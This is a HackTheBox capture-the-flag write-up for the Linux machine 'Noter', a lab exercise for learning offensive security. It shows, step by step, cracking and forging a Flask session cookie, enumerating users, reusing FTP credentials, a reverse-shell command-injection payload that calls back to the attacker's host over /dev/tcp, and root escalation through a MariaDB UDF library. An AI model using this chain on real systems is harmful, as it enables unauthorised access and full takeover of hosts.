Noter - [HTB]

Cover Image for Noter - [HTB]

Table of Contents


    Noter is a medium Linux machine from HackTheBox where the attacker will have to crack a Flask JWT cookie and make some user enumeration to obtain FTP credentials. Then, discovering the application's password policy, it will be able to get access to a different FTP account, obtaining the web application source code. After analysing the source code, a vulnerable function is discovered, allowing it to obtain RCE. Finally, because the MariaDB service is executed by root, a library can be loaded to execute system commands as root.


    As always, let's start finding all opened ports in the machine with Nmap.

    kali@kali:~/Documents/HTB/Noter$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt
    Nmap scan report for
    Host is up (0.10s latency).
    Not shown: 65532 closed tcp ports (reset)
    21/tcp   open  ftp
    22/tcp   open  ssh
    5000/tcp open  upnp
    Read data files from: /usr/bin/../share/nmap
    # Nmap done at Thu May 12 13:16:40 2022 -- 1 IP address (1 host up) scanned in 106.17 seconds

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Noter$ sudo nmap -sC -sV -n -T4 -oN PortsDepth.txt -p 21,22,5000
    Nmap scan report for
    Host is up (0.10s latency).
    21/tcp   open  ftp     vsftpd 3.0.3
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
    |   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
    |_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
    5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
    |_http-title: Noter
    |_http-server-header: Werkzeug/2.0.2 Python/3.8.10
    Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

    At port 5000, there is an HTTP server with a note application web page .


    Once registered and logged into the application, a weird JWT cookie is obtained, as seen in the screenshot.

    JWT Token

    Exploitation 1

    Looking for Werkzeug JWT cookies, some posts appear talking about Flask JWTs. Then, looking about how to crack flask JWT there is this post, where you can learn how to crack a Flask JWT key with flask-unsign.

    kali@kali:~/Documents/HTB/Noter$ pip3 install flask-unsign
    kali@kali:~/Documents/HTB/Noter$ flask-unsign --unsign --no-literal-eval --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiTWFybWV1cyJ9.Yn1FHg.MTb2hVRzzDUc44JPkIxGI6xyr4A" -w /usr/share/wordlists/rockyou.txt 
    [*] Session decodes to: {'logged_in': True, 'username': 'Marmeus'}
    [*] Starting brute-forcer with 8 threads..
    [+] Found secret key after 17024 attempts

    Once the key is obtained, it is possible to modify the cookie changing the username as "Administrator."

    kali@kali:~/Documents/HTB/Noter$ flask-unsign --sign --secret secret123 --cookie "{'logged_in': True, 'username': 'Administrator'}"

    However, it seems that this user can not be used to log in to the web page.

    Unauthorized administrator user

    Nonetheless, it is possible to enumerate registered users on the application. This is possible because trying to access a non-existent account, you get "Invalid credentials", but if the account exists, so you typed the wrong password, the responded message is "Invalid login".

    Enumerating usernames that match the "Invalid login" message, the user blue is obtained.

    kali@kali:/tmp$ ffuf -H "Content-Type: application/x-www-form-urlencoded" -X POST -d 'username=FUZZ&password=asd' -t 60 -u -w /usr/share/wordlists/SecLists/Usernames/cirt-default-usernames.txt -mr "Invalid login"
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
     :: Method           : POST
     :: URL              :
     :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Usernames/cirt-default-usernames.txt
     :: Header           : Content-Type: application/x-www-form-urlencoded
     :: Data             : username=FUZZ&password=asd
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 60
     :: Matcher          : Regexp: Invalid login
    blue                    [Status: 200, Size: 2025, Words: 432, Lines: 69]

    Now, changing the username to blue in the Flask JWT cookie, it is possible to access the application as blue.

    kali@kali:~/Documents/HTB/Noter$ flask-unsign --sign --secret secret123 --cookie "{'logged_in': True, 'username': 'blue'}"

    The user blue has a note containing some FTP credentials.

    Noter Premium membership

    Inside the FTP server, there is a policy.pdf file.

    kali@kali:~/Documents/HTB/Noter$ ftp
    Connected to
    220 (vsFTPd 3.0.3)
    Name ( blue
    331 Please specify the password.
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    > ls -la
    229 Entering Extended Passive Mode (|||52427|)
    150 Here comes the directory listing.
    drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
    -rw-r--r--    1 1002     1002        12569 Dec 24 20:59 policy.pdf
    226 Directory send OK.
    ftp> pass
    Passive mode: off; fallback to active mode: off.
    ftp> get policy.pdf   
    local: policy.pdf remote: policy.pdf
    200 EPRT command successful. Consider using EPSV.
    150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
    100% |********************************************************************************| 12569       23.41 MiB/s    00:00 ETA
    226 Transfer complete.
    12569 bytes received in 00:00 (103.63 KiB/s)  

    Reading the documentation from the PDF, it is possible to know the password creation policy.

    Password Creation
    4. Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)

    So, because the note was written by "ftp_admin" the password should look like "ftp_admin@Noter!".

    Inside the ftp_admin user, there are two .ZIP backup files.

    kali@kali:~/Documents/HTB/Noter$ ftp
    Connected to
    220 (vsFTPd 3.0.3)
    Name ( ftp_admin
    331 Please specify the password.
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> ls
    229 Entering Extended Passive Mode (|||12907|)
    150 Here comes the directory listing.
    -rw-r--r--    1 1003     1003        25559 Nov 01  2021
    -rw-r--r--    1 1003     1003        26298 Dec 01 05:52

    Exploitation 2

    Making a diff between the file of both backups, some database credentials and one interesting function that executes commands is obtained.

    # Credentials
    < app.config['MYSQL_USER'] = 'root'                            
    < app.config['MYSQL_PASSWORD'] = 'Nildogg36'
    # Export function
    app.route('/export_note_remote', methods=['POST'])
    def export_note_remote():
        if check_VIP(session['username']):
                url = request.form['url']
                status, error = parse_url(url)
                if (status is True) and (error is None):
                        r = pyrequest.get(url,allow_redirects=True)
                        rand_int = random.randint(1,10000)
                        command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
              , shell=True, executable="/bin/bash")
                        if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
                            return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
                            return render_template('export_note.html', error="Error occured while exporting the !") 
                    except Exception as e:
                        return render_template('export_note.html', error="Error occured!")
                    return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
            except Exception as e:
                return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

    The code requires a URL. Then, a request will be made, retrieving the text in the response. This text will replace $'{r.text.strip()}' in the command that will be executed. So, if the text in the response is 'echo Marmeus', the final command will be node misc/md-to-pdf.js Marmeus {rand_int}.

    Because no input sanitisation is made, a semicolon can be added, making it possible to perform arbitrary code execution.

    In order to obtain a reverse shell, you need the following set-up.

    kali@kali:/tmp/poc$ ls
    kali@kali:/tmp/poc$ cat
    ';bash -i >& /dev/tcp/<YOUR_IP>/443 0>&1 #'
    kali@kali:/tmp/poc$ python2.7 -m SimpleHTTPserver 80
    kali@kali:~/Documents/HTB/Noter$ nc -nlvp 443

    Finally, execute the following command.

    curl -H "Cookie: session=<BLUE_JWT_COOKIE>" -X POST -d 'url=http://<YOUR_IP>/'

    The result will be a reverse shell as svc.

    kali@kali:~/Documents/HTB/Noter$ nc -nlvp 443
    listening on [any] 443 ...
    connect to [] from (UNKNOWN) [] 36972
    bash: cannot set terminal process group (1263): Inappropriate ioctl for device
    bash: no job control in this shell
    svc@noter:~/app/web$ id
    uid=1001(svc) gid=1001(svc) groups=1001(svc)
    svc@noter:~$ cat user.txt

    Privilege Escalation

    Using the database credentials, it is possible to access the web page database, but it is not very interesting.

    svc@noter:~$ mysql -u root -p'Nildogg36'
    Welcome to the MariaDB monitor.  Commands end with ; or \g.
    Your MariaDB connection id is 16808
    Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

    However, the service is executed as root, so maybe it possible to obtain code executiont.

    svc@noter:~$ systemctl status mysql
    ● mysql.service - LSB: Start and stop the mysql database server daemon
         Loaded: loaded (/etc/init.d/mysql; generated)
         Active: active (running) since Wed 2022-08-31 14:53:10 UTC; 10h ago
           Docs: man:systemd-sysv-generator(8)
        Process: 969 ExecStart=/etc/init.d/mysql start (code=exited, status=0/SUCCESS)
          Tasks: 41 (limit: 4617)
         Memory: 161.5M
         CGroup: /system.slice/mysql.service
                 ├─1068 /bin/sh /usr/bin/mysqld_safe
                 ├─1184 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=root --skip-log-error --pid-file=/run/mysqld/ --socket=/var/run/mysqld/mysqld.sock
                 └─1185 logger -t mysqld -p daemon error

    On exploitdb, there is a library that can be used compatible with this version of MariaDB.

    Following the steps, you should obtain the user flag.

    wget -O raptor_udf.c
    svc@noter:/tmp$ wget
    svc@noter:/tmp$ gcc -g -c raptor_udf.c
    svc@noter:/tmp$ gcc -g -shared -Wl,-soname, -o raptor_udf.o -lc
    svc@noter:/tmp$ mysql -u root -p'Nildogg36'
    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/'));
    show variables like '%plugin%';
    | Variable_name   | Value                                       |
    | plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
    | plugin_maturity | gamma                                       |
    select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/';
    create function do_system returns integer soname '';
    select * from mysql.func;
    select do_system('cat /root/root.txt > /tmp/root.txt;chown svc:svc /tmp/root.txt');
    \! sh
    cat /tmp/root.txt